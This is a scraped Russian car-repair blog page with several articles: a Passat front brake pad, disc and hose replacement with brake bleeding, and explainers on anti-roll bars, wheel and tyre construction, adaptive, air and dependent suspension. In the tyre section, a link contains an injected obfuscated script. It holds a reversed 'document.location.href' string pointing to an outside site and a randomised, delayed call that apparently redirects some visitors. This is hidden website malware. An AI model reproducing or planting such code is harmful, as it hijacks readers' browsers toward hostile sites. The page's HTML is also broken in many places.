подвеска

В этой статье мы пошагово рассмотрим тему Замена передних тормозных колодок на VW Passat 35I. Менять будем тормозные диски, колодки и тормозные шланги.

Замена передних тормозных колодок

Замена тормозного диска

Перед подъемом автомобиля ослабьте колесные болты (сорвите как говорят). Поднимите домкратом авто и установите его на подставку. Если нет таковой, найдите бруски, сложите их на достаточную высоту и опустите автомобиль с домкрата на опору.

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov1.jpg» alt=»Замена передних тормозных колодок 1″ width=»700″ height=»444″/>

Снимите колесо. Диск фиксируется небольшим болтом к ступице

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov2.jpg» alt=»Замена передних тормозов 2″ width=»700″ height=»445″/>

Ослабляем суппорт тормозных колодок

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov3.jpg» alt=»Замена передних тормозов 3″ width=»700″ height=»477″/>

Раскачивая суппорт, разжимаем колодки, снимаем его и подвешиваем на самодельный крючок на пружину

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov4.jpg» alt=»Замена передних тормозов 4″ width=»700″ height=»434″/> to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov5.jpg» alt=»Замена передних тормозов 5″ width=»700″ height=»455″/>

Далее нужно снять держатель суппорта

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov6.jpg» alt=»Замена передних тормозов 6″ width=»700″ height=»508″/>to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov7.jpg» alt=»Замена передних тормозов 7″ width=»700″ height=»459″/>

Убедитесь, что держатель суппорта механически функционирует и манжеты целы.

Диск фиксируется к ступице болтом под крестовую отвертку. Открутить его будет весьма не просто, он всегда прикипает ржавчиной намертво, поэтому его нужно обработать растворителем ржавчины, как следует обстучать молотком и крестообразной битой. Затем открутить.

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov8.jpg» alt=»Замена передних тормозов 8″ width=»700″ height=»378″/>

Затем постучите по диску резиновым или пластиковым молотком и снимите его

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov9.jpg» alt=»Замена передних тормозов 9″ width=»700″ height=»381″/>

После снятия диска нужно тщательно очистить поверхность ступицы от ржавчины наждачкой и смазать низкотемпературной смазкой

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov10.jpg» alt=»Замена передних тормозов 10″ width=»700″ height=»386″/>

Установите новый диск

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov11.jpg» alt=»Замена передних тормозов 11″ width=»700″ height=»447″/>

Перед затяжкой диска обязательно отцентрируйте его колесными болтами через шайбы

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov12.jpg» alt=»Замена передних тормозов 12″ width=»700″ height=»396″/>

Новый диск установлен.

Установка тормозных колодок

Перед установкой тормозов очищаем суппорт от грязи и ржавчины металлической щеткой.

Резьба крепежных болтов держателя суппорта, как правило, портится ржавчиной, поэтому не лишним будет пройтись леркой и метчиком, если таковые имеются. Затем крепим суппорт, затягивая болты динамометров, усилием в 125 Нм.

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov13.jpg» alt=»Замена передних тормозов 13″ width=»700″ height=»565″/>

Устанавливаем тормозной суппорт. Внимание: перед установкой суппорта нужно вдавить тормозной поршень. Тормозной барабан новый, поэтому ход тормозных поршней будет другим.

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov14.jpg» alt=»Замена передних тормозов 14″ width=»700″ height=»406″/>

Теперь меняем шланг. Для этого понадобятся такие ключи

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov15.jpg» alt=»Замена передних тормозов 15″ width=»700″ height=»411″/>

Открутите старый шланг и прикрутите новый к тем же трубкам, затянув усилием 10 Нм.

Затем смажьте держатель суппорта с обратной стороны и колодки в местах соприкосновения с поршнями медной пастой.

Установите колодки на держатель суппорта, и сверху на них натяните сам суппорт

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov16.jpg» alt=»Замена передних тормозов 16″ width=»700″ height=»439″/> to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov17.jpg» alt=»Замена передних тормозов 17″ width=»700″ height=»446″/>

Затяните болты с усилием в 30 Нм.

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov18.jpg» alt=»Замена передних тормозов 18″ width=»700″ height=»472″/>

На этом замена передних тормозных колодок закончена. Теперь нужно прокачать тормоза.

Прокачка тормозов

Сначала сорвите клапан для прокачки тормозом. Затем наденьте на него прозрачный пластиковый шланг, приготовьте стеклянную баночку и наполните её наполовину тормозной жидкостью.

to-ru.ru/wp-content/uploads/2017/04/zamena-tormozov19.jpg» alt=»Замена передних тормозов 19″ width=»700″ height=»394″/>

Теперь вам понадобиться помощник, который будет нажимать на педаль тормоза

Помощник сначала должен несколько раз нажать на педаль (накачать), потом без усилий давить постоянно, в это время Вы откручиваете клапан прокачки и выпускаете в баночку с жидкостью воздух (будут видны выходящие пузырьки). Когда педаль опустится (помощник должен дать сигнал, например крикнуть что-нибудь не обидное), в этот момент Вы закрутите клапан.

Долейте жидкость в бочок, и снова повторите цикл прокачки. Повторять следует пока не прекратиться выход воздуха.

Тормозная жидкость довольно агрессивна, поэтому промойте все водой и высушите детали на которые попала жидкость.

Тормоза прокачаны.

Ставим колесо на место, поднимаем домкратом автомобиль и убираем все подпорки. Снимаем домкрат и протягиваем колесо, затягивая болты крест усилием 120 Нм.

Таким же образом делаем все операции с другой стороны.

Советую почитать про to-ru.ru/lokalnyj-remont-kuzova-avtomobilya.html» target=»_blank» rel=»noopener noreferrer»>Ремонт царапин и сколов и to-ru.ru/progorela-prokladka-golovki-bloka-kak-opredelit.html»>Прогар головки блока

Зачем нужен стабилизатор поперечной устойчивости как работает данный узел и почему он стал таким незаменимым в конструкциях автомобильных подвесок. Наверняка вы заметили, что в описаниях конструкций современных подвесок, очень часто упоминается о такой детали как стабилизатор устойчивости.  Этот элемент крайне полезен, раз инженеры так любят его использовать. А я больше скажу, без него невозможно ездить на автомобиле, сам пробовал..

Чтобы кузов не гулял…

Для чего автомобилю нужен этот элемент?

В принципе, название этой детали говорит само за себя – её главная роль заключается в стабилизации положения кузова. Дело в том, что на поворотах корпус автомобиля под действием центробежных сил кренится, а это не только не нравится находящимся в его салоне людям, но и подвеске, которая теряет нормальное сцепление с дорогой, из-за того, что нагрузка на колёса становится разная.

Негативных последствий от этого масса, начиная потерей адекватной управляемости машины и заканчивая аварией – ваш четырёхколёсный друг может просто завалиться на бок. С этими неприятными явлениями и борется наш сегодняшний герой статьи.

Всё гениальное — просто

Несмотря на весь груз ответственности стабилизатора поперечной устойчивости, его конструкция до безобразия проста.

По сути, он представляет собой металлическую штангу сложной формы, соединяющую между собой противоположные колёса на оси. К колёсам (если точнее, то к рычагам подвески), стабилизатор прикрепляется тягами, или стойками, еще их называют линками, в средней своей части он крепится к кузовным элементам при помощи специальных втулок, которые позволяют ему скручиваться как торсион, препятствую излишнему крену кузова.

В большей степени форма штанги (стабилизатора) в современных автомобилях зависит от наличия и положения агрегатов, находящихся под днищем, поэтому она может принимать самые причудливые конфигурации.

to-ru.ru/wp-content/uploads/2016/12/stabilizator.jpg» alt=»Стабилизатор поперечной устойчивости » width=»650″ height=»650″/>

1. Правая стойка;
2. Стойка (линк) стабилизатора;
3. Штанга стабилизатора поперечной устойчивости;
4. Левая стойка;
5. Кулак ступицы;
6. Ступица;
7. Продольная тяга;
8. Задняя поперечная тяга;
9. Передняя поперечная тяга;
10. Подрамник.

Свою работу герой нашей статьи, под номером 3, выполняет благодаря всё той же физике, которая одарила металлические штанги и пруты способностью пружинить при скручивании по оси. Это так называемые торсионы.

В нашем случае данный эффект работает следующим образом. Предположим, что у Вас автомобиль с независимой подвеской на всех осях. При вхождении на скорости в поворот, силы инерции наклоняют кузов, из-за чего колёса с одной стороны нагружаются сильней, а с противоположной наоборот – разгружаются и пытаются оторваться от дороги.

Тут и начинается звёздный час заднего и переднего стабилизаторов поперечной устойчивости. Так как разные концы штанг в этом случае поворачиваются в разные стороны, срабатывает эффект торсиона, который пытается их выровнять, причём, чем сильнее кузов кренится, тем больше они сопротивляется этому.

to-ru.ru/wp-content/uploads/2016/12/prinzip-stab.jpg» alt=»Принцип работы стабилизатора поперечной устойчивости» width=»650″ height=»444″/>

Таким образом, удаётся скомпенсировать негативные колебания и, как следствие, не потерять необходимое сцепление колёс с дорогой. Кстати, хотелось бы отметить, что используются эти полезные штанги исключительно в независимых подвесках, где каждое из колёс живёт своей жизнью, а в зависимых они совершенно не нужны, там и так всё хорошо.

Проблемы стабилизаторов устойчивости

В принципе, на этом можно было бы и закончить нашу статью, если бы не одно но… Несмотря на элементарность конструкции и при этом неоценимую полезность, у стабилизаторов есть ряд очень существенных недостатков, а именно:

• при наличии этого элемента независимая подвеска теряет ряд своих главных свойств – отсутствие влияния одного колеса на другое и большую величину хода;
• при установке на внедорожник, стабилизатор ухудшает его проходимость, так как появляется риск вывесить колесо на неровностях;
• задний стабилизатор высокой жёсткости может негативно отражаться на поворачиваемости автомобиля.

Избавиться от перечисленных проблем можно, но, правда, путём усложнения конструкции. Так, например, на некоторых внедорожниках применяются отключаемые стабилизаторы поперечной устойчивости.

Есть и более радикальный способ – применение адаптивной подвески, когда какие-либо штанги между колёсами и вовсе не нужны, но пока что его могут себе позволить только автомобили бизнес-класса.

Рассказав обо всех нюансах, связанных со стабилизаторами устойчивости, мы теперь со спокойной душой можем подвести черту под нашей статьёй.

Не забывайте подписываться на рассылку и до новой встречи, друзья!

На повестке дня устройство автомобильного колеса.

Казалось бы, что особенного в колесе? Изобретение из далёкой древности, которое с успехом используется человечеством на протяжении почти всей его истории.

Но если мы говорим о колесе современного авто, а не о каменном круге возрастом в несколько тысячелетий, то сказать о нём есть что. Несмотря на кажущуюся простоту, оно является настоящим инженерным шедевром, а его роль в жизни машины сложно переоценить.

Устройство автомобильного колеса. Не такое простое, как кажется

to-ru.ru/wp-content/uploads/2016/12/koleso-300×288.png» alt=»Устройство автомобильного колеса» width=»300″ height=»288″/>Формально эта деталь является частью ходовой, и в первую очередь на него возложена задача связать сложный организм машины с дорогой.

По сути, оно является конечной точкой процесса, зарождающегося в двигателе – процесса преобразования энергии топлива во вращение.

В дополнение к этому, наш сегодняшний герой отыгрывает не последнюю роль в безопасности автомобиля, надёжно сцепляясь с покрытием дороги, обеспечивая управляемость машины и её устойчивость.

Одним словом, груз ответственности на нём лежит довольно серьёзный.

Каким образом колесо надёжно выполняет все эти функции? Для этого инженеры придумали особую конструкцию автомобильного колеса, которая состоит из таких частей:

• диск;
• обод;
• шина (покрышка).

Первый элемент из этой тройки служит для соединения колеса с осью. На современных автомобилях делается это при помощи болтовых соединений, причём их количество для гражданских легковых машин может варьироваться от 4 до 6.

Обод в свою очередь выполняет роль посредника между диском и шиной, которая является крайне важным элементом для колеса и связующим звеном между всем автомобилем и дорогой.

Конечно же, с развитием автомобильной промышленности все эти части совершенствовались и преобразовывались, поэтому нам предстоит познакомиться с их разновидностями, устройством и, как следствие, существующими видами колёс.

Колёсный диск: труд инженеров и дизайнеров

Обод и диск – они, по сути, представляют собой единое целое, поэтому разделение между этими элементами весьма условное. Зачастую, когда говорят о диске, имеют в виду обе эти детали вместе – мы поступим так же. Различают такие разновидности дисков:

• стальные (обод и диск соединены сваркой). Это классика – дёшево и сердито, из-за чего они получили большое распространение. Недостатки – вес и невозможность придания оригинального дизайна;
• легкосплавные (полностью монолитные). Бывают литые диски и кованые. Первые, хотя и позволяют играть с дизайном, но достаточно хрупкие. Вторые — гораздо более крепкие и вообще практически лишены каких-либо недостатков за исключением одного — цены, из-за сложности изготовления. В целом же легкосплавные изделия во многом превосходят своих стальных собратьев – помимо веса и эстетики они ещё и эффективнее охлаждают тормоза, а также не требуют столь кропотливой балансировки.

to-ru.ru/wp-content/uploads/2016/12/diski.jpg» alt=»Стальной и легкосплавный диски» width=»750″ height=»417″/>

Шина: под грузом ответственности и автомобиля

Идём дальше – шины. В наши дни покрышки это не просто куски резины, как было на заре автомобилестроения – это поистине высокотехнологичная деталь.

to-ru.ru/wp-content/uploads/2016/12/0x0_beskamernyie-shinyi-300×158.jpg» alt=»0x0_beskamernyie-shinyi» width=»300″ height=»158″/>

Современные легковушки, как правило, комплектуются бескамерными шинами, варианты с камерами уже давно стали архаизмом и используются иногда на грузовой или специальной технике.

Нас, конечно же, интересует то, что чаще всего встречается на гражданском транспорте.

Бескамерная шина состоит из таких частей:

• каркас;
• брекер;
• боковина;
• борт;
• протектор.

Основа шины – каркас, который также часто называют кордом. Он представляет собой множество синтетических, стекловолоконных или стальных нитей, которые проложены от одного края покрышки к другому.

to-ru.ru/wp-content/uploads/2016/12/schina_a.jpg» alt=»Разрез шины автомобиля» width=»814″ height=»540″/>

1. ребро;
2. блок протектора;
3. канавка;
4. плечо протектора;
5. нейлоновый бандаж;
6. стальной брекер;
7. радиальный каркас;
8. кольцо;
9. борт.

Такая конфигурация корда на сегодняшний день считается наиболее оптимальной. Брекер, по своей сути, тоже состоит из прочных нитей, но расположен исключительно между каркасом и протектором и защищает последний от отслоения и излишних нагрузок.

Наверное, самая знакомая часть шины, которая всегда на виду – протектор. Он представляет собой толстый слой специальной резины, которая имеет специфический рисунок на поверхности.

Форма этого рисунка может быть разной в зависимости от назначения покрышки (летняя, зимняя, to-ru.ru/vsesezonnye-shiny-dlya-vnetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorozhnikov.html» target=»_blank» rel=»noopener noreferrer»>всесезонная и так далее).

Протектор с обоих боков переходит в боковины. В современных автомобилях они невысокие (иногда вообще тонюсенькие, если это низкопрофильная резина). И последний элемент – борт. Он отвечает за надёжное крепление к ободу и герметичность всей бескамерной шины, для чего армируется специальным нерастяжимым кольцом.

Когда выбираем колесо…

И в завершение темы, устройство автомобильного колеса, несколько слов о маркировке шин и дисков. Вы наверняка замечали, что на боковинах покрышек нанесено множество разных символов – все они нужны для того, чтобы правильно подобрать резину для автомобиля.

Основными параметрами являются ширина и высота профиля, разновидность шины и посадочный диаметр. Для диска важными значениями считаются его диаметр, ширина обода, а также расстояние между поперечной осью и плоскостью крепления к ступице – так называемый вылет.

to-ru.ru/wp-content/uploads/2016/12/markirovka-shin.jpg» alt=»Маркировка шины» width=»750″ height=»295″/>

Расшифровка индексов нагрузки и скорости:

to-ru.ru/wp-content/uploads/2016/12/rasshifrovka.jpg» alt=»Расшифровка индексов скорости и нагрузки» width=»500″ height=»208″/>

Как видите, друзья, об автомобильном колесе можно рассказать очень много полезного, хотя на первый взгляд оно и не выглядит такой уж сложной конструкцией.

Надеюсь, вам было интересно! До новых встреч на блоге и не забывайте подписываться!

Кто в курсе что такое адаптивная подвеска и как она работает, то тогда можете смело закрывать эту страницу, кто не знает – милости просим. В этой публикации мы попробуем разобраться в конструкции этой системы, её секретах и особенностях, которые выделяют её на фоне других аналогичных конструкций.

Адаптивная подвеска: высший инженерный пилотаж

Для начала разберёмся с сутью и терминологией. Главной особенностью адаптивной подвески (кстати, её иногда называют активной) является то, что она может менять жёсткость амортизаторов, так называемое демпфирование, в зависимости от состояния дорожного полотна, манеры вождения и других аналогичных параметров.

Понятное дело, что все крупные автопроизводители хотели бы иметь в своём арсенале такую систему, ведь она настоящая находка для современного авто. Так и есть, причём каждая уважающая себя компания, зная что такое адаптивная подвеска, посчитала нужным создать свою версию этой  технологии.

К примеру:

1. У компании Toyota она носит название Adaptive Variable Suspension, что в сокращении AVS (о ней мы уже упоминали);
2. У Mersedes-Benz – это Adaptive Damping System или ADS;
3. Баварские инженеры из BMW назвали свой вариант адаптивной подвески Adaptive Drive;
4. Volkswagen  Adaptive Chassis Control — DCC;
5. Opel назвал Continuous Damping Control — CDS,       и так далее …

Не редкость, когда для достижения ещё больших уровней комфорта, который нужен, например, автомобилю бизнес-класса, адаптивную схему объединяют с пневматической подвеской. Так поступили в Мерседес с технологией ADS, помимо этого аналогичную систему применяют в Audi.

Адаптивная подвеска для топовых автомобилей

Хотя имён у адаптивной схемы практически столько же, сколько и автопроизводителей, способов регулировки жёсткости амортизаторов на данный момент в основном используется лишь два:

• электромагнитными клапанами;
• магнитно-реологической жидкостью.

В системах, перечисленных нами выше, а именно: AVS, ADS и Adaptive Drive, используются технология с электромагнитными клапанами.

Как это работает?

Как известно, амортизатор наполнен специальной жидкостью, и в зависимости от того, насколько свободно она перемещается внутри него, будет меняться и его жёсткость.

В данном случае подстраивание амортизатора происходит при помощи изменения проходного сечения клапанов – чем они уже, тем хуже циркулирует жидкость и тем жёстче становится подвеска. Соответственно, если увеличить сечение, то амортизаторы становятся мягче.

Клапаны контролируются электрическими сигналами от блока управления, который и задаёт им на основе своих вычислений необходимый уровень «зажатия».

Система адаптивной подвески Audi Q7 (пневматика):

to-ru.ru/wp-content/uploads/2016/12/adapt-podvAQ7.jpg» alt=»Адаптивная подвеска Audi Q7″ width=»841″ height=»692″/>

to-ru.ru/wp-content/uploads/2016/12/sys_adapt-podvAQ7.jpg» alt=»Управление датчиками адаптивной пневматической подвески Audi Q7″ width=»688″ height=»851″/>

Амортизаторы с магнитно-реологической жидкостью встречаются реже. Такие системы используются на некоторых моделях Cadillac, Chevrolet и Audi.

to-ru.ru/wp-content/uploads/2016/12/adaptiv-pod.jpg» alt=»Амортизаторы с магнитно-реологической жидкостью» width=»750″ height=»505″/>

Жидкость с таким сложным названием имеет одно интересное свойство из-за частиц металла, которые в ней содержатся — при прикладывании магнитного поля, эти самые частицы выстраиваются в определённом порядке.

Это позволяет без клапанов регулировать проходные сечения в амортизаторах, единственное что нужно – найти источник магнитного поля, для чего используются катушки, по которым течёт электрический ток.

Как и в случае с клапанами, заправляет их работой электронный блок управления.

Всё под контролем!

Как уже было сказано, контроль над работой адаптивной подвески возложен на блок управления. В его подчинении находится россыпь датчиков, которые отслеживают ускорение машины в вертикальной плоскости, а также величину дорожного просвета, зависящую от хода подвески.

Система может выполнять некоторые действия как автоматически, так и управляться водителем.

В первом случае ей позволяется менять уровень жёсткости подвески в зависимости от состояния дорожного полотна, а также поддерживать стабильность кузова в поворотах, при ускорениях и торможениях.

Водитель, как правило, может вручную задать степень жёсткости амортизаторов, и обычно ему на выбор предоставлено три режима: комфортный (самый мягкий), спортивный (максимально зажатый) и нормальный (нечто среднее между первыми двумя).

В завершении несколько слов о плюсах и минусах… Хотя, какие у адаптивной подвески могут быть недостатки, кроме высокой стоимости, в остальном же только преимущества, чем и обусловлено её использование в самых дорогих и роскошных автомобилях.

На этом по теоретической части всё,  я вам говорю, до новых встреч на страницах нашего блога, друзья! А вы посмотрите несколько коротких видео (не по русски) по этой системе.

Смотрите прямо здесь на сайте, не переходя в YuoTube!

Система AVS от Toyota:

Система Adaptive Drive от BMW:

Система от Дженерал Моторс с магнитно-реологической жидкостью:

Пневматическая подвеска автомобиля. Как правило, наличием этой системы любят хвастаться обладатели премиальных машин, например, топовых внедорожников от Audi или Volkswagen, но на самом деле транспортных средств, у которых есть пневмоподвеска, по нашим дорогам ездит намного больше.

Давайте разберёмся, в чём же её преимущества, так ли она элитарна и у кого можно встретить подобную конструкцию.

Пневма: прерогатива избранных или массовый продукт?

Основной идеей пневматической подвески является возможность регулировки дорожного просвета. Получается это у неё при помощи воздуха, накачивающегося в специальные баллоны, которые выступают в роли упругих элементов. Детальнее об устройстве системы позже, а сейчас немного истории этого замечательного изобретения.

Хотя, как мы уже отметили выше, «пневма» в наши дни считается привилегией дорогих автомобилей, её применение намного шире. Впервые инженеры задумались о том, что неплохо бы объединить упругие свойства сжатого воздуха и автомобильную подвеску, ещё в начале ХХ века.

В те далёкие годы даже был оформлен патент на эту интересную систему. Но, справедливости ради, нужно сказать, что он так и пролежал на пыльных полках, не найдя широкого распространения вплоть до 50-х годов. Дебютантом среди легковушек, оборудованных данной схемой, стал Citroen DS-19, породив на некоторое время моду на неё.

to-ru.ru/wp-content/uploads/2016/12/citroen-ds19.jpg» alt=»Сitroen DS-19″ width=»750″ height=»563″/>

Поигравшись с десяток лет «пневмой», производители легкового транспорта опять отошли от её использования и вернули её в свой арсенал только в наши дни, чему поспособствовало бурное развитие электроники, которая позволила создавать адаптивные типы подвесок (о них в отдельной публикации). Это что касается легковушек, а вот в другом сегменте, в сегменте коммерческого грузового и пассажирского транспорта пневмоподвески отлично чувствуют себя довольно давно.

Вспомнить хотя бы легендарный ЛиАЗ-677 с пневматическими баллонами, выпускавшийся с 1967 года, или Икарус. Также эта система активно применяется в подвеске тягачей и грузовиков, как правило, на задней оси, где нагрузки больше.

Управляя воздухом…

Автобусы и грузовики – это тоже интересно, но вернёмся, пожалуй, к современным легковушкам и рассмотрим устройство пневматической подвески, встречающейся в наши дни.

Для начала нужно подчеркнуть, что «пневма», по сути, не отдельная конструкция, а как бы дополнение к уже существующим схемам подвесок. К примеру, она может быть выполнена на базе «многорычажки» или МакФерсона. Типовая пневмоподвеска состоит из таких деталей:

• пневматические упругие элементы (по одному на каждое колесо);
• устройство подачи воздуха (компрессор);
• воздушный ресивер;
• магистрали;
• система управления.

to-ru.ru/wp-content/uploads/2016/12/pnevmo-nabor.jpg» alt=»Комплект пневмоподвески» width=»750″ height=»454″/>

Ключевыми игроками этого механизма выступают пневмоэлементы или подушки. Они могут иметь различное конструктивное исполнение – иногда их объединяют с амортизаторами (пневмостойки), также они могут быть и самостоятельными элементами.

to-ru.ru/wp-content/uploads/2016/12/pnevmoelementi.jpg» alt=»Пневмоэлементы» width=»640″ height=»170″/>

Внутрь этой детали под давлением закачивается воздух, благодаря чему может меняться жёсткость подвески и высота дорожного просвета. Нагнетается давление при помощи компрессора.

Воздушный ресивер играет роль эдакого аккумулятора, откуда в пневмоэлементы при необходимости может поступать небольшая порция воздуха для поддержания уровня дорожного просвета. Ну и, конечно, узел системы управления, который при содействии многочисленных датчиков и электроники, следит за тем, чтобы всё работало правильно.

Разновидности пневматических подвесок

Всего видов пневмоподвески — три. Одноконтурная, двухконтурная и четырехконтурная.

to-ru.ru/wp-content/uploads/2016/12/vidipnevmo.jpg» alt=»Виды пневмоподвесок» width=»700″ height=»200″/>

Одноконтурная

Устанавливается на одну из осей автомобиля. Одноконтурная позволяет регулировать величину жесткости. Обычно такие подвески устанавливаются на грузовые автомобили.

Двухконтурная

Такая подвеска может быть установлена на две оси, в этом случае это выглядит как две одноконтурные пневмоподвеские подвески, каждая на два колеса. Так же может быть и по одному контуру на каждое колесо.

Четырехконтурная

Сложная, но более продвинутая. Система работает и контролирует все четыре колеса. Электронный блок управления подвеской управляет и регулирует величину жесткости в зависимости от режима езды и качества дороги.

Всё ли хорошо у пневматических систем?

Для полноты картины нам необходимо разобраться в положительных и отрицательных сторонах пневматических подвесок. К их неоспоримым плюсам относится высокий уровень комфорта и управляемости, которыми обладают автомобили, оборудованные такой схемой.

О том, что это не пустые слова свидетельствует список автомобилей, имеющие «пневму» в заводской комплектации. Например, Maybach, Rolls-Royce, Lexus, Range Rover, Audi и другие представители премиум-сегмента.

to-ru.ru/wp-content/uploads/2016/12/pnevmoaudi.jpg» alt=»Пневмоподвеска AUDI» width=»750″ height=»479″/>

Есть ли недостатки? На самом деле они тоже имеются. Помимо сложности и стоимости, к минусам пневмоподвесок относится их капризность в плане температуры эксплуатации (очень не любят морозы) и наличия химических реагентов, которыми любят обильно посыпать у нас дороги в зимний период. Также приходится довольно часто менять пневмоэлементы, которые не поддаются ремонту, а стоят очень дорого.

Надеюсь, дорогие читатели, эта статья была чем-нибудь вам полезна.

Если вы хотите и дальше углубляться в недра автомобилей и изучать их внутренности – подписывайтесь на рассылку, и вы никогда не пропустите свежие и интересные материалы.

Рад приветствовать вас, уважаемые автолюбители, на страницах блога! Технологии, связанные с автомобилестроением, постоянно совершенствуются. Это факт. Но существуют такие инженерные решения, суть которых практически не поменялась за многие десятилетия. Как например, зависимая подвеска автомобиля – она была первой в своём роде и до сих пор не потеряла актуальности.

Зависимость колёс и пыль десятилетий

От чего или от кого зависит герой данной статьи? На самом деле зависимая подвеска получила своё имя из-за жёсткой связи между колёсами, находящимися на одной оси. Именно они зависят друг от друга. Так, например, при наезде одного колеса на препятствие, второе тоже изменит положение – наклонится на определённый угол.

Исторически этот тип подвески можно считать первым, причём появился он задолго до самих автомобилей, ещё в те годы, когда на дорогах властвовали телеги и повозки, запряжённые лошадьми.

В начале ХХ века, на заре эры машин зависимые конструкции были доминирующим видом, причём в качестве как задней, так и передней подвески. С течением десятилетий их доля в автопроме стремительно уменьшалась и в наши дни они остались прерогативой коммерческой техники, большегрузных машин и некоторых моделей внедорожников, где их можно встретить, как правило, только в качестве задней подвески. Почему так случилось, мы поговорим чуть позже.

Технические нюансы

А сейчас перейдём к технической стороне вопроса и разберёмся с конструкцией и устройством зависимой системы, а также её разновидностями. К подобным типам подвесок причисляют такие:

• на продольных рессорах (рессорная);
• с направляющими рычагами (зависимая пружинная);
• подвеска Де Дион.

Первый вариант является одним из самых старых. Состоит такая конструкция из балки моста, соединяющей два колеса, а также двух продольных рессор, на которых она крепится.

Рессора в данном варианте выступает в качестве универсального упругого элемента – она принимает на себя нагрузки в вертикальной и поперечной плоскости, а также гасит колебания кузова. Конечно, высокого комфорта от работы подвески подобной системы не добиться, к тому же на больших скоростях начинают появляться проблемы с управляемостью.

to-ru.ru/wp-content/uploads/2016/11/zadnyaya-resornaya-podveska.jpg» alt=»Зависимая рессорная подвеска» width=»700″ height=»504″/>

Более совершенной и современной можно назвать конструкцию с направляющими рычагами. Вариантов исполнения в плане количества рычагов и их конфигурации есть масса – это и подвеска с тягой Панара, и с механизмом Уатта или Скотта-Рассела. По сравнению с рессорными, у этих систем гораздо лучше управляемость и поведение в поворотах. Главным упругим элементом тут является пружина, а помогает ей амортизатор.

Что же касается подвески Де Дион, то тут есть один нюанс. Дело в том, что данную систему нельзя назвать полностью зависимой из-за хитрого расположения элементов, которое обусловлено тем, что разрабатывалась она для задней оси заднеприводных авто. В ней дифференциал и балка, соединяющая колёса, разделены.

to-ru.ru/chto-takoe-blokirovka-differentsiala-v-avtomobile.html» target=»_blank» rel=»noopener»>Дифференциал жёстко соединён с корпусом автомобиля, а вращение от него на колёса передаётся через качающиеся ведущие валы. По мнению экспертов, подвеска Де Дион по многим параметрам превосходит лучшие образцы независимых конструкций, и единственным существенным её недостатком является цена, из-за чего встретить её можно не часто, да и то преимущественно на спорткарах.

to-ru.ru/wp-content/uploads/2016/12/De-dion-podves.jpg» alt=»Де Дион подвеска» width=»700″ height=»523″/>

Что независимой подвеске хорошо, то зависимой – не очень

Что лучше, зависимая подвеска автомобиля или независимая?

Чтобы ответить на этот вопрос, а также понять, почему зависимая конструкция сейчас утратила свою популярность, нужно проанализировать её плюсы и минусы. Хорошего в ней много – это и большой ход и неизменность колеи и клиренса, что неоценимо при движении по бездорожью. Помимо этого, простота конструкции (если не считать Де Дион) и высокая надёжность.

Как видно, её преимущества явно проявляются на плохих дорогах или там, где их вообще нет, из-за чего такие конструкции можно увидеть на истинных внедорожника, как правило, на задней подвеске.

to-ru.ru/wp-content/uploads/2016/11/zavisimaya-podveska.jpg» alt=»Зависимая подвеска легкового автомобиля» width=»700″ height=»523″/>

Но в современном мире хорошие дороги уже не дефицит и поэтому очень важно то, как машина ведёт себя на гладкой поверхности. И тут зависимым подвескам похвастать особо нечем. Такие конструкции неустойчивы на больших скоростях, не обеспечивают должного комфорта и нестабильны на виражах, а эти параметры очень ценят владельцы легковушек.

Таким образом, друзья, мы видим, что хотя зависимая подвеска автомобиля и имеет хорошо выраженные преимущества, для современного автолюбителя, жителя крупного города, который предпочитает легковые машины, они почти бесполезны и не могут соперничать на этом поле боя с более совершенными to-ru.ru/podveska-avtomobilya.html» target=»_blank» rel=»noopener»>независимыми конструкциями.

Ну а мы на этом заканчиваю рассказ и говорю: «До новых встреч на страницах блога!»